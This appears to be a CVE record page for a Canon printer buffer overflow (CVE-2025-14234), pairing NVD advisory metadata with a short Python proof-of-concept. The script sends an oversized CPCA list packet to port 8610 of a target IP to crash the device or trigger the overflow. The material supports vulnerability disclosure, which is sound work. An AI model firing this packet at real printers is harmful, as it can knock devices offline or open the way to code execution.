CVE-2025-14234

#!/usr/bin/env python3 # CVE-2025-14234 PoC - Canon Printer Buffer Overflow in CPCA List Processing # This PoC demonstrates sending a malicious CPCA list request import socket import struct import sys def create_malicious_cpc_packet(): """Create a malicious CPCA packet with oversized list data""" # CPCA header structure header = b'\x00\x00' # Version header += b'\x01' # Message type (list request) header += struct.pack('>H', 0x0001) # Opcode # Create oversized list data to trigger overflow # The actual overflow trigger depends on specific firmware list_id = b'\x41' * 2048 # Oversized list identifier # Malicious payload structure packet = header packet += struct.pack('>I', len(list_id)) # Length field packet += list_id return packet def send_exploit(target_ip, target_port=8610): """Send exploit payload to target printer""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) payload = create_malicious_cpc_packet() sock.send(payload) print(f'[+] Exploit packet sent to {target_ip}:{target_port}') print(f'[+] Packet size: {len(payload)} bytes') # Check for response try: response = sock.recv(1024) if response: print(f'[*] Received response: {response.hex()}') except socket.timeout: print('[*] No response received (target may be vulnerable)') sock.close() return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip>') sys.exit(1) target = sys.argv[1] send_exploit(target)

{"cve": {"id": "CVE-2025-14234", "sourceIdentifier": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "published": "2026-01-16T00:16:27.767", "lastModified": "2026-01-26T15:10:53.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer overflow in CPCA list processing on Small Office Multifunction Printers and Laser Printers(*) which may allow an attacker on the network segment to trigger the affected product being unresponsive or to execute arbitrary code. *: Satera LBP670C Series/Satera MF750C Series firmware v06.02 and earlier sold in Japan.Color imageCLASS LBP630C/Color imageCLASS MF650C Series/imageCLASS LBP230 Series/imageCLASS X LBP1238 II/imageCLASS MF450 Series/imageCLASS X MF1238 II/imageCLASS X MF1643i II/imageCLASS X MF1643iF II firmware v06.02 and earlier sold in US.i-SENSYS LBP630C Series/i-SENSYS MF650C Series/i-SENSYS LBP230 Series/1238P II/1238Pr II/i-SENSYS MF450 Series/i-SENSYS MF550 Series/1238i II/1238iF II/imageRUNNER 1643i II/imageRUNNER 1643iF II firmware v06.02 and earlier sold in Europe."}, {"lang": "es", "value": "Desbordamiento de búfer en el procesamiento de listas CPCA en impresoras multifunción para pequeñas oficinas e impresoras láser(*) lo que puede permitir a un atacante en el segmento de red desencadenar que el producto afectado deje de responder o ejecutar código arbitrario. *: Firmware v06.02 y anteriores de las series Satera LBP670C/Satera MF750C vendidos en Japón. Firmware v06.02 y anteriores de Color imageCLASS LBP630C/Color imageCLASS MF650C Series/imageCLASS LBP230 Series/imageCLASS X LBP1238 II/imageCLASS MF450 Series/imageCLASS X MF1238 II/imageCLASS X MF1643i II/imageCLASS X MF1643iF II vendidos en EE. UU. Firmware v06.02 y anteriores de i-SENSYS LBP630C Series/i-SENSYS MF650C Series/i-SENSYS LBP230 Series/1238P II/1238Pr II/i-SENSYS MF450 Series/i-SENSYS MF550 Series/1238i II/1238iF II/imageRUNNER 1643i II/imageRUNNER 1643iF II vendidos en Europa."}], "metrics": {"cvssMetricV40": [{"source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:canon:mf455dw_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "06.02", "matchCriteriaId": "E97C016E-CE05-4F54-B4F6-CB44451E7025"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:canon:mf455dw:-:*:*:*:*:*:*:*", "matchCriteriaId": "376C5E10-0D6C-405D-BC63-BDE7257A8142"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:canon:mf453dw_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "06.02", "matchCriteriaId": "A65134F0-B34B-42BF-B0DD-3ED5DFB0EB08"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3 ... 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